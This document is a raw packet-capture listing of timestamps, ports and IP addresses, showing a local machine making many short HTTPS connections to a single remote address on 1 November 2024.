Nov 1, 2024 05:53:14.984973907 CET	49841	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.984981060 CET	443	49841	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.989628077 CET	443	49843	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.989890099 CET	49843	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.989898920 CET	443	49843	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:14.990335941 CET	49843	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:14.990341902 CET	443	49843	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.054779053 CET	443	49840	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.054797888 CET	443	49840	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.054858923 CET	49840	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.054869890 CET	443	49840	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.054908037 CET	443	49840	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.054963112 CET	49840	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.055161953 CET	49840	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.055171967 CET	443	49840	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.055181980 CET	49840	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.055186033 CET	443	49840	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.058177948 CET	49845	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.058209896 CET	443	49845	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.058294058 CET	49845	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.058471918 CET	49845	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.058482885 CET	443	49845	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.082603931 CET	443	49842	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.082897902 CET	443	49842	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.082958937 CET	49842	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.083168983 CET	49842	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.083169937 CET	49842	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.083174944 CET	443	49842	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.083180904 CET	443	49842	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.085091114 CET	49846	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.085103989 CET	443	49846	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.085171938 CET	49846	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.085304976 CET	49846	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.085315943 CET	443	49846	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.123620033 CET	443	49843	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.123637915 CET	443	49843	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.123675108 CET	443	49843	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.123698950 CET	49843	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.123738050 CET	49843	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.123832941 CET	49843	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.123848915 CET	443	49843	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.123864889 CET	49843	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.123872042 CET	443	49843	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.126128912 CET	49847	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.126152039 CET	443	49847	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.126282930 CET	49847	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.126430988 CET	49847	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.126441956 CET	443	49847	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.137260914 CET	443	49841	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.139591932 CET	443	49841	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.139661074 CET	49841	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.139676094 CET	49841	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.139682055 CET	443	49841	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.139695883 CET	49841	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.139699936 CET	443	49841	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.141562939 CET	49848	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.141587019 CET	443	49848	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.141727924 CET	49848	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.141868114 CET	49848	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.141875029 CET	443	49848	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.223131895 CET	443	49844	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.223658085 CET	49844	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.223666906 CET	443	49844	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.223998070 CET	49844	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.224001884 CET	443	49844	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.364418983 CET	443	49844	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.364447117 CET	443	49844	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.364506006 CET	49844	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.364511013 CET	443	49844	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.364557028 CET	49844	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.364763975 CET	49844	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.364774942 CET	443	49844	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.364775896 CET	49844	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.364780903 CET	443	49844	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.375932932 CET	49849	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.375981092 CET	443	49849	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.376055956 CET	49849	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.376188040 CET	49849	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.376205921 CET	443	49849	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.798564911 CET	443	49845	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.799189091 CET	49845	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.799206972 CET	443	49845	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.799526930 CET	49845	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.799531937 CET	443	49845	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.812681913 CET	443	49846	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.813035011 CET	49846	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.813045979 CET	443	49846	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.813285112 CET	49846	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.813291073 CET	443	49846	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.855195999 CET	443	49847	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.855643034 CET	49847	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.855650902 CET	443	49847	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.855915070 CET	49847	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.855917931 CET	443	49847	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.884016037 CET	443	49848	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.884480000 CET	49848	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.884495020 CET	443	49848	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.884773970 CET	49848	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.884778023 CET	443	49848	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.930269003 CET	443	49845	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.930290937 CET	443	49845	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.930341005 CET	443	49845	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.930351019 CET	49845	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.930408001 CET	49845	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.930593014 CET	49845	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.930604935 CET	443	49845	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.930613995 CET	49845	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.930619955 CET	443	49845	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.933410883 CET	49850	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.933429956 CET	443	49850	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.933506966 CET	49850	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.933676004 CET	49850	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.933705091 CET	443	49850	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.943475962 CET	443	49846	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.943536043 CET	443	49846	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.943593979 CET	49846	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.943871975 CET	49846	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.943871975 CET	49846	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.943890095 CET	443	49846	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.943901062 CET	443	49846	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.946418047 CET	49851	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.946461916 CET	443	49851	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.946556091 CET	49851	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.946718931 CET	49851	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.946738005 CET	443	49851	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.985482931 CET	443	49847	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.985549927 CET	443	49847	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.985692978 CET	49847	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.985737085 CET	49847	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.985749006 CET	443	49847	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.985759974 CET	49847	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.985764980 CET	443	49847	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.987942934 CET	49852	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.987970114 CET	443	49852	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:15.988038063 CET	49852	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.988166094 CET	49852	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:15.988177061 CET	443	49852	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.015666008 CET	443	49848	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.015707970 CET	443	49848	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.015847921 CET	49848	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.015942097 CET	49848	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.015948057 CET	443	49848	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.015958071 CET	49848	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.015961885 CET	443	49848	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.017859936 CET	49853	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.017887115 CET	443	49853	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.017971039 CET	49853	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.018089056 CET	49853	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.018104076 CET	443	49853	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.104289055 CET	443	49849	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.104865074 CET	49849	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.104876041 CET	443	49849	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.105216980 CET	49849	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.105222940 CET	443	49849	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.233197927 CET	443	49849	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.233269930 CET	443	49849	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.233319044 CET	49849	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.233525991 CET	49849	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.233542919 CET	443	49849	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.233556986 CET	49849	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.233565092 CET	443	49849	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.236767054 CET	49854	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.236788034 CET	443	49854	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.236860037 CET	49854	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.236990929 CET	49854	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.237001896 CET	443	49854	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.674211979 CET	443	49850	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.674911976 CET	49850	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.674925089 CET	443	49850	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.675461054 CET	49850	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.675466061 CET	443	49850	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.685059071 CET	443	49851	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.685380936 CET	49851	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.685400009 CET	443	49851	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.685837030 CET	49851	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.685842991 CET	443	49851	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.721146107 CET	443	49852	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.721577883 CET	49852	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.721605062 CET	443	49852	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.722409964 CET	49852	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.722414017 CET	443	49852	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.757674932 CET	443	49853	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.758388042 CET	49853	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.758408070 CET	443	49853	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.758785009 CET	49853	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.758790016 CET	443	49853	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.807054996 CET	443	49850	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.807102919 CET	443	49850	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.807152987 CET	49850	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.807301998 CET	49850	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.807317019 CET	443	49850	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.807324886 CET	49850	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.807328939 CET	443	49850	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.809875965 CET	49855	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.809912920 CET	443	49855	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.809989929 CET	49855	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.810264111 CET	49855	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.810281038 CET	443	49855	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.814918995 CET	443	49851	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.814976931 CET	443	49851	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.815032959 CET	49851	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.815191984 CET	49851	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.815211058 CET	443	49851	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.815224886 CET	49851	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.815232992 CET	443	49851	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.817825079 CET	49856	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.817836046 CET	443	49856	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.817909956 CET	49856	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.818013906 CET	49856	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.818027973 CET	443	49856	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.849050999 CET	443	49852	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.849123001 CET	443	49852	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.849175930 CET	49852	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.849284887 CET	49852	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.849303007 CET	443	49852	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.849315882 CET	49852	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.849320889 CET	443	49852	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.851445913 CET	49857	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.851466894 CET	443	49857	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.851674080 CET	49857	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.851802111 CET	49857	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.851811886 CET	443	49857	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.890150070 CET	443	49853	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.890218019 CET	443	49853	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.890299082 CET	49853	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.890539885 CET	49853	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.890539885 CET	49853	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.890558958 CET	443	49853	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.890568018 CET	443	49853	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.892714977 CET	49858	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.892738104 CET	443	49858	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.892817974 CET	49858	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.892980099 CET	49858	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.892999887 CET	443	49858	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.980711937 CET	443	49854	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.981352091 CET	49854	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.981372118 CET	443	49854	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:16.981791019 CET	49854	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:16.981796026 CET	443	49854	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.123786926 CET	443	49854	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.123868942 CET	443	49854	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.124007940 CET	49854	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.124279976 CET	49854	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.124294043 CET	443	49854	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.124304056 CET	49854	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.124308109 CET	443	49854	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.127408028 CET	49859	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.127422094 CET	443	49859	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.127495050 CET	49859	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.127680063 CET	49859	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.127691031 CET	443	49859	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.537314892 CET	443	49855	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.537769079 CET	49855	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.537789106 CET	443	49855	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.538280010 CET	49855	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.538285971 CET	443	49855	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.548621893 CET	443	49856	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.549118042 CET	49856	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.549125910 CET	443	49856	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.549573898 CET	49856	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.549577951 CET	443	49856	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.571067095 CET	443	49857	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.571414948 CET	49857	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.571435928 CET	443	49857	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.571794987 CET	49857	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.571800947 CET	443	49857	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.614821911 CET	443	49858	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.615184069 CET	49858	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.615197897 CET	443	49858	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.615577936 CET	49858	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.615582943 CET	443	49858	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.666663885 CET	443	49855	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.666712046 CET	443	49855	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.666819096 CET	49855	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.667018890 CET	49855	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.667018890 CET	49855	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.667042971 CET	443	49855	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.667052984 CET	443	49855	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.670036077 CET	49860	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.670084953 CET	443	49860	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.670182943 CET	49860	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.670371056 CET	49860	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.670389891 CET	443	49860	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.678215981 CET	443	49856	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.678241968 CET	443	49856	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.678277969 CET	443	49856	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.678283930 CET	49856	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.678328037 CET	49856	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.678410053 CET	49856	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.678417921 CET	443	49856	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.678426027 CET	49856	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.678430080 CET	443	49856	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.680421114 CET	49861	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.680447102 CET	443	49861	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.680516958 CET	49861	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.680632114 CET	49861	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.680643082 CET	443	49861	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.698005915 CET	443	49857	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.698139906 CET	443	49857	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.698204994 CET	49857	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.698242903 CET	49857	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.698256016 CET	443	49857	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.698270082 CET	49857	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.698275089 CET	443	49857	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.700176954 CET	49862	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.700196981 CET	443	49862	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.700268984 CET	49862	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.700376987 CET	49862	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.700392008 CET	443	49862	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.742386103 CET	443	49858	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.742465019 CET	443	49858	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.742517948 CET	443	49858	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.742517948 CET	49858	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.742682934 CET	49858	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.742683887 CET	49858	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.742683887 CET	49858	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.744455099 CET	49863	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.744466066 CET	443	49863	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.744543076 CET	49863	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.744637012 CET	49863	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.744646072 CET	443	49863	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.847779036 CET	443	49859	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.848232985 CET	49859	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.848247051 CET	443	49859	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.848676920 CET	49859	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.848683119 CET	443	49859	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.971766949 CET	49858	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.971787930 CET	443	49858	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.976118088 CET	443	49859	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.976191044 CET	443	49859	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.976247072 CET	49859	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.976361036 CET	49859	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.976371050 CET	443	49859	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.976378918 CET	49859	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.976385117 CET	443	49859	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.979413986 CET	49864	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.979449987 CET	443	49864	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:17.979516029 CET	49864	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.979784966 CET	49864	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:17.979799032 CET	443	49864	13.107.246.45	192.168.2.4
